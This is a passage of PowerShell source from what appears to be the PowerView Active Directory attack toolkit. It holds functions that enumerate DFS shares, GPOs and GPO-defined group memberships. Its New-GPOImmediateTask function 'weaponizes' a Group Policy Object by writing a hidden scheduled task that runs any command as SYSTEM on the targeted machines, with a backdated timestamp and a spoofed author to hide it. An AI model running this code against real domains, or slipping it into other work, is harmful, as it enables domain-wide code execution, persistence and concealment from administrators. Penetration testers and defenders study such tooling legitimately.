               $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])

               $blob_data_size_start = $blob_name_end + 1
               $blob_data_size_end = $blob_data_size_start + 3
               $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)

               $blob_data_start = $blob_data_size_end + 1
               $blob_data_end = $blob_data_start + $blob_data_size - 1
               $blob_data = $bin[$blob_data_start..$blob_data_end]
               switch -wildcard ($blob_name) {
                "\siteroot" {  }
                "\domainroot*" {
                    # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
                    # DFSRootOrLinkIDBlob
                    $root_or_link_guid_start = 0
                    $root_or_link_guid_end = 15
                    $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
                    $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
                    $prefix_size_start = $root_or_link_guid_end + 1
                    $prefix_size_end = $prefix_size_start + 1
                    $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
                    $prefix_start = $prefix_size_end + 1
                    $prefix_end = $prefix_start + $prefix_size - 1
                    $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])

                    $short_prefix_size_start = $prefix_end + 1
                    $short_prefix_size_end = $short_prefix_size_start + 1
                    $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
                    $short_prefix_start = $short_prefix_size_end + 1
                    $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
                    $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])

                    $type_start = $short_prefix_end + 1
                    $type_end = $type_start + 3
                    $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)

                    $state_start = $type_end + 1
                    $state_end = $state_start + 3
                    $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)

                    $comment_size_start = $state_end + 1
                    $comment_size_end = $comment_size_start + 1
                    $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
                    $comment_start = $comment_size_end + 1
                    $comment_end = $comment_start + $comment_size - 1
                    if ($comment_size -gt 0)  {
                        $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
                    }
                    $prefix_timestamp_start = $comment_end + 1
                    $prefix_timestamp_end = $prefix_timestamp_start + 7
                    # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
                    $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
                    $state_timestamp_start = $prefix_timestamp_end + 1
                    $state_timestamp_end = $state_timestamp_start + 7
                    $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
                    $comment_timestamp_start = $state_timestamp_end + 1
                    $comment_timestamp_end = $comment_timestamp_start + 7
                    $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
                    $version_start = $comment_timestamp_end  + 1
                    $version_end = $version_start + 3
                    $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)

                    # Parse rest of DFSNamespaceRootOrLinkBlob here
                    $dfs_targetlist_blob_size_start = $version_end + 1
                    $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
                    $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)

                    $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
                    $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
                    $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
                    $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
                    $reserved_blob_size_end = $reserved_blob_size_start + 3
                    $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)

                    $reserved_blob_start = $reserved_blob_size_end + 1
                    $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
                    $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
                    $referral_ttl_start = $reserved_blob_end + 1
                    $referral_ttl_end = $referral_ttl_start + 3
                    $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)

                    #Parse DFSTargetListBlob
                    $target_count_start = 0
                    $target_count_end = $target_count_start + 3
                    $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
                    $t_offset = $target_count_end + 1

                    for($j=1; $j -le $target_count; $j++){
                        $target_entry_size_start = $t_offset
                        $target_entry_size_end = $target_entry_size_start + 3
                        $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
                        $target_time_stamp_start = $target_entry_size_end + 1
                        $target_time_stamp_end = $target_time_stamp_start + 7
                        # FILETIME again or special if priority rank and priority class 0
                        $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
                        $target_state_start = $target_time_stamp_end + 1
                        $target_state_end = $target_state_start + 3
                        $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)

                        $target_type_start = $target_state_end + 1
                        $target_type_end = $target_type_start + 3
                        $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)

                        $server_name_size_start = $target_type_end + 1
                        $server_name_size_end = $server_name_size_start + 1
                        $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)

                        $server_name_start = $server_name_size_end + 1
                        $server_name_end = $server_name_start + $server_name_size - 1
                        $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])

                        $share_name_size_start = $server_name_end + 1
                        $share_name_size_end = $share_name_size_start + 1
                        $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
                        $share_name_start = $share_name_size_end + 1
                        $share_name_end = $share_name_start + $share_name_size - 1
                        $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])

                        $target_list += "\\$server_name\$share_name"
                        $t_offset = $share_name_end + 1
                    }
                }
            }
            $offset = $blob_data_end + 1
            $dfs_pkt_properties = @{
                'Name' = $blob_name
                'Prefix' = $prefix
                'TargetList' = $target_list
            }
            $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
            $prefix = $null
            $blob_name = $null
            $target_list = $null
        }

        $servers = @()
        $object_list | ForEach-Object {
            if ($_.TargetList) {
                $_.TargetList | ForEach-Object {
                    $servers += $_.split("\")[2]
                }
            }
        }

        $servers
    }

    function Get-DFSshareV1 {
        [CmdletBinding()]
        param(
            [String]
            $Domain,

            [String]
            $DomainController,

            [String]
            $ADSpath,

            [ValidateRange(1,10000)]
            [Int]
            $PageSize = 200,

            [Management.Automation.PSCredential]
            $Credential
        )

        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

        if($DFSsearcher) {
            $DFSshares = @()
            $DFSsearcher.filter = "(&(objectClass=fTDfs))"

            try {
                $Results = $DFSSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    $Properties = $_.Properties
                    $RemoteNames = $Properties.remoteservername
                    $Pkt = $Properties.pkt

                    $DFSshares += $RemoteNames | ForEach-Object {
                        try {
                            if ( $_.Contains('\') ) {
                                New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
                            }
                        }
                        catch {
                            Write-Verbose "Error in parsing DFS share : $_"
                        }
                    }
                }
                $Results.dispose()
                $DFSSearcher.dispose()

                if($pkt -and $pkt[0]) {
                    Parse-Pkt $pkt[0] | ForEach-Object {
                        # If a folder doesn't have a redirection it will
                        # have a target like
                        # \\null\TestNameSpace\folder\.DFSFolderLink so we
                        # do actually want to match on "null" rather than
                        # $null
                        if ($_ -ne "null") {
                            New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
                        }
                    }
                }
            }
            catch {
                Write-Warning "Get-DFSshareV1 error : $_"
            }
            $DFSshares | Sort-Object -Property "RemoteServerName"
        }
    }

    function Get-DFSshareV2 {
        [CmdletBinding()]
        param(
            [String]
            $Domain,

            [String]
            $DomainController,

            [String]
            $ADSpath,

            [ValidateRange(1,10000)] 
            [Int]
            $PageSize = 200,

            [Management.Automation.PSCredential]
            $Credential
        )

        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

        if($DFSsearcher) {
            $DFSshares = @()
            $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
            $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))

            try {
                $Results = $DFSSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    $Properties = $_.Properties
                    $target_list = $Properties.'msdfs-targetlistv2'[0]
                    $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
                    $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
                        try {
                            $Target = $_.InnerText
                            if ( $Target.Contains('\') ) {
                                $DFSroot = $Target.split("\")[3]
                                $ShareName = $Properties.'msdfs-linkpathv2'[0]
                                New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
                            }
                        }
                        catch {
                            Write-Verbose "Error in parsing target : $_"
                        }
                    }
                }
                $Results.dispose()
                $DFSSearcher.dispose()
            }
            catch {
                Write-Warning "Get-DFSshareV2 error : $_"
            }
            $DFSshares | Sort-Object -Unique -Property "RemoteServerName"
        }
    }

    $DFSshares = @()

    if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
        $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
    }
    if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
        $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
    }

    $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
}


########################################################
#
# GPO related functions.
#
########################################################


filter Get-GptTmpl {
<#
    .SYNOPSIS

        Helper to parse a GptTmpl.inf policy file path into a custom object.

    .PARAMETER GptTmplPath

        The GptTmpl.inf file path name to parse. 

    .PARAMETER UsePSDrive

        Switch. Mount the target GptTmpl folder path as a temporary PSDrive.

    .EXAMPLE

        PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

        Parse the default domain policy .inf for dev.testlab.local
#>

    [CmdletBinding()]
    Param (
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        [String]
        $GptTmplPath,

        [Switch]
        $UsePSDrive
    )

    if($UsePSDrive) {
        # if we're PSDrives, create a temporary mount point
        $Parts = $GptTmplPath.split('\')
        $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
        $FilePath = $Parts[-1]
        $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''

        Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"

        try {
            $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath  -ErrorAction Stop
        }
        catch {
            Write-Verbose "Error mounting path $GptTmplPath : $_"
            return $Null
        }

        # so we can cd/dir the new drive
        $TargetGptTmplPath = $RandDrive + ":\" + $FilePath
    }
    else {
        $TargetGptTmplPath = $GptTmplPath
    }

    Write-Verbose "GptTmplPath: $GptTmplPath"

    try {
        Write-Verbose "Parsing $TargetGptTmplPath"
        $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue
    }
    catch {
        Write-Verbose "Error parsing $TargetGptTmplPath : $_"
    }

    if($UsePSDrive -and $RandDrive) {
        Write-Verbose "Removing temp PSDrive $RandDrive"
        Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
    }
}


filter Get-GroupsXML {
<#
    .SYNOPSIS

        Helper to parse a groups.xml file path into a custom object.

    .PARAMETER GroupsXMLpath

        The groups.xml file path name to parse. 

    .PARAMETER UsePSDrive

        Switch. Mount the target groups.xml folder path as a temporary PSDrive.
#>

    [CmdletBinding()]
    Param (
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        [String]
        $GroupsXMLPath,

        [Switch]
        $UsePSDrive
    )

    if($UsePSDrive) {
        # if we're PSDrives, create a temporary mount point
        $Parts = $GroupsXMLPath.split('\')
        $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
        $FilePath = $Parts[-1]
        $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''

        Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"

        try {
            $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath  -ErrorAction Stop
        }
        catch {
            Write-Verbose "Error mounting path $GroupsXMLPath : $_"
            return $Null
        }

        # so we can cd/dir the new drive
        $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
    }
    else {
        $TargetGroupsXMLPath = $GroupsXMLPath
    }

    try {
        [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop

        # process all group properties in the XML
        $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {

            $Groupname = $_.Properties.groupName

            # extract the localgroup sid for memberof
            $GroupSID = $_.Properties.groupSid
            if(-not $GroupSID) {
                if($Groupname -match 'Administrators') {
                    $GroupSID = 'S-1-5-32-544'
                }
                elseif($Groupname -match 'Remote Desktop') {
                    $GroupSID = 'S-1-5-32-555'
                }
                elseif($Groupname -match 'Guests') {
                    $GroupSID = 'S-1-5-32-546'
                }
                else {
                    $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID
                }
            }

            # extract out members added to this group
            $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
                if($_.sid) { $_.sid }
                else { $_.name }
            }

            if ($Members) {

                # extract out any/all filters...I hate you GPP
                if($_.filters) {
                    $Filters = $_.filters.GetEnumerator() | ForEach-Object {
                        New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
                    }
                }
                else {
                    $Filters = $Null
                }

                if($Members -isnot [System.Array]) { $Members = @($Members) }

                $GPOGroup = New-Object PSObject
                $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
                $GPOGroup | Add-Member Noteproperty 'Filters' $Filters
                $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
                $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
                $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null
                $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members
                $GPOGroup
            }
        }
    }
    catch {
        Write-Verbose "Error parsing $TargetGroupsXMLPath : $_"
    }

    if($UsePSDrive -and $RandDrive) {
        Write-Verbose "Removing temp PSDrive $RandDrive"
        Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
    }
}


function Get-NetGPO {
<#
    .SYNOPSIS

        Gets a list of all current GPOs in a domain.

    .PARAMETER GPOname

        The GPO name to query for, wildcards accepted.   

    .PARAMETER DisplayName

        The GPO display name to query for, wildcards accepted.   

    .PARAMETER ComputerName

        Return all GPO objects applied to a given computer (FQDN).

    .PARAMETER Domain

        The domain to query for GPOs, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through
        e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetGPO -Domain testlab.local
        
        Returns the GPOs in the 'testlab.local' domain. 
#>
    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $GPOname = '*',

        [String]
        $DisplayName,

        [String]
        $ComputerName,

        [String]
        $Domain,

        [String]
        $DomainController,
        
        [String]
        $ADSpath,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
    }

    process {
        if ($GPOSearcher) {

            if($ComputerName) {
                $GPONames = @()
                $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize

                if(!$Computers) {
                    throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
                }
                
                # get the given computer's OU
                $ComputerOUs = @()
                ForEach($Computer in $Computers) {
                    # extract all OUs a computer is a part of
                    $DN = $Computer.distinguishedname

                    $ComputerOUs += $DN.split(",") | ForEach-Object {
                        if($_.startswith("OU=")) {
                            $DN.substring($DN.indexof($_))
                        }
                    }
                }
                
                Write-Verbose "ComputerOUs: $ComputerOUs"

                # find all the GPOs linked to the computer's OU
                ForEach($ComputerOU in $ComputerOUs) {
                    $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { 
                        # get any GPO links
                        write-verbose "blah: $($_.name)"
                        $_.gplink.split("][") | ForEach-Object {
                            if ($_.startswith("LDAP")) {
                                $_.split(";")[0]
                            }
                        }
                    }
                }
                
                Write-Verbose "GPONames: $GPONames"

                # find any GPOs linked to the site for the given computer
                $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
                if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
                    $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
                        if($_.gplink) {
                            $_.gplink.split("][") | ForEach-Object {
                                if ($_.startswith("LDAP")) {
                                    $_.split(";")[0]
                                }
                            }
                        }
                    }
                }

                $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {

                    # use the gplink as an ADS path to enumerate all GPOs for the computer
                    $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"

                    try {
                        $Results = $GPOSearcher.FindAll()
                        $Results | Where-Object {$_} | ForEach-Object {
                            $Out = Convert-LDAPProperty -Properties $_.Properties
                            $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
                            $Out
                        }
                        $Results.dispose()
                        $GPOSearcher.dispose()
                    }
                    catch {
                        Write-Warning $_
                    }
                }
            }

            else {
                if($DisplayName) {
                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
                }
                else {
                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
                }

                try {
                    $Results = $GPOSearcher.FindAll()
                    $Results | Where-Object {$_} | ForEach-Object {
                        if($ADSPath -and ($ADSpath -Match '^GC://')) {
                            $Properties = Convert-LDAPProperty -Properties $_.Properties
                            try {
                                $GPODN = $Properties.distinguishedname
                                $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
                                $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"
                                $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
                                $Properties
                            }
                            catch {
                                $Properties
                            }
                        }
                        else {
                            # convert/process the LDAP fields for each result
                            Convert-LDAPProperty -Properties $_.Properties
                        }
                    }
                    $Results.dispose()
                    $GPOSearcher.dispose()
                }
                catch {
                    Write-Warning $_
                }
            }
        }
    }
}


function New-GPOImmediateTask {
<#
    .SYNOPSIS

        Builds an 'Immediate' schtask to push out through a specified GPO.

    .PARAMETER TaskName

        Name for the schtask to recreate. Required.

    .PARAMETER Command

        The command to execute with the task, defaults to 'powershell'

    .PARAMETER CommandArguments

        The arguments to supply to the -Command being launched.

    .PARAMETER TaskDescription

        An optional description for the task.

    .PARAMETER TaskAuthor
        
        The displayed author of the task, defaults to ''NT AUTHORITY\System'

    .PARAMETER TaskModifiedDate
    
        The displayed modified date for the task, defaults to 30 days ago.

    .PARAMETER GPOname

        The GPO name to build the task for.

    .PARAMETER GPODisplayName

        The GPO display name to build the task for.

    .PARAMETER Domain

        The domain to query for the GPOs, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through
        e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target.

    .EXAMPLE

        PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force

        Create an immediate schtask that executes the specified PowerShell arguments and
        push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.

    .EXAMPLE

        PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force

        Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.
#>
    [CmdletBinding(DefaultParameterSetName = 'Create')]
    Param (
        [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $TaskName,

        [Parameter(ParameterSetName = 'Create')]
        [String]
        [ValidateNotNullOrEmpty()]
        $Command = 'powershell',

        [Parameter(ParameterSetName = 'Create')]
        [String]
        [ValidateNotNullOrEmpty()]
        $CommandArguments,

        [Parameter(ParameterSetName = 'Create')]
        [String]
        [ValidateNotNullOrEmpty()]
        $TaskDescription = '',

        [Parameter(ParameterSetName = 'Create')]
        [String]
        [ValidateNotNullOrEmpty()]
        $TaskAuthor = 'NT AUTHORITY\System',

        [Parameter(ParameterSetName = 'Create')]
        [String]
        [ValidateNotNullOrEmpty()]
        $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),

        [Parameter(ParameterSetName = 'Create')]
        [Parameter(ParameterSetName = 'Remove')]
        [String]
        $GPOname,

        [Parameter(ParameterSetName = 'Create')]
        [Parameter(ParameterSetName = 'Remove')]
        [String]
        $GPODisplayName,

        [Parameter(ParameterSetName = 'Create')]
        [Parameter(ParameterSetName = 'Remove')]
        [String]
        $Domain,

        [Parameter(ParameterSetName = 'Create')]
        [Parameter(ParameterSetName = 'Remove')]
        [String]
        $DomainController,
        
        [Parameter(ParameterSetName = 'Create')]
        [Parameter(ParameterSetName = 'Remove')]
        [String]
        $ADSpath,

        [Parameter(ParameterSetName = 'Create')]
        [Parameter(ParameterSetName = 'Remove')]
        [Switch]
        $Force,

        [Parameter(ParameterSetName = 'Remove')]
        [Switch]
        $Remove,

        [Parameter(ParameterSetName = 'Create')]
        [Parameter(ParameterSetName = 'Remove')]        
        [Management.Automation.PSCredential]
        $Credential
    )

    # build the XML spec for our 'immediate' scheduled task
    $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'

    if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
        Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
        return
    }

    # eunmerate the specified GPO(s)
    $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential 
    
    if(!$GPOs) {
        Write-Warning 'No GPO found.'
        return
    }

    $GPOs | ForEach-Object {
        $ProcessedGPOName = $_.Name
        try {
            Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"

            # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(
            if($Credential) {
                Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
                $Path = $_.gpcfilesyspath.TrimEnd('\')
                $Net = New-Object -ComObject WScript.Network
                $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
                $TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
            }
            else {
                $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
            }

            if($Remove) {
                if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
                    Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
                }

                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
                    return
                }

                Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
            }
            else {
                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
                    return
                }
                
                # create the folder if it doesn't exist
                $Null = New-Item -ItemType Directory -Force -Path $TaskPath

                if(Test-Path "$TaskPath\ScheduledTasks.xml") {
                    Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
                }

                $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
            }

            if($Credential) {
                Write-Verbose "Removing mounted drive at N:\"
                $Net = New-Object -ComObject WScript.Network
                $Net.RemoveNetworkDrive("N:")
            }
        }
        catch {
            Write-Warning "Error for GPO $ProcessedGPOName : $_"
            if($Credential) {
                Write-Verbose "Removing mounted drive at N:\"
                $Net = New-Object -ComObject WScript.Network
                $Net.RemoveNetworkDrive("N:")
            }
        }
    }
}


function Get-NetGPOGroup {
<#
    .SYNOPSIS

        Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines.

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName
        Optional Dependencies: None
    
    .DESCRIPTION

        First enumerates all GPOs in the current/target domain using Get-NetGPO with passed
        arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
        group membership is set through Group Policy Preferences groups.xml files. For any
        GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
        section data is processed if present. Any found Groups.xml files are parsed with
        Get-GroupsXML and those memberships are returned as well.

    .PARAMETER GPOname

        The GPO name (GUID) to query for, wildcards accepted.

    .PARAMETER DisplayName

        The GPO display name to query for, wildcards accepted.

    .PARAMETER Domain

        The domain to query for GPOs, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through for GPOs.
        e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"

    .PARAMETER ResolveMemberSIDs

        Switch. Try to resolve the SIDs of all found group members.

    .PARAMETER UsePSDrive

        Switch. Mount any found policy files with temporary PSDrives.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .EXAMPLE

        PS C:\> Get-NetGPOGroup

        Returns all local groups set by GPO along with their members and memberof.

    .EXAMPLE

        PS C:\> Get-NetGPOGroup -ResolveMemberSIDs

        Returns all local groups set by GPO along with their members and memberof,
        and resolve any members to their domain SIDs.

    .EXAMPLE

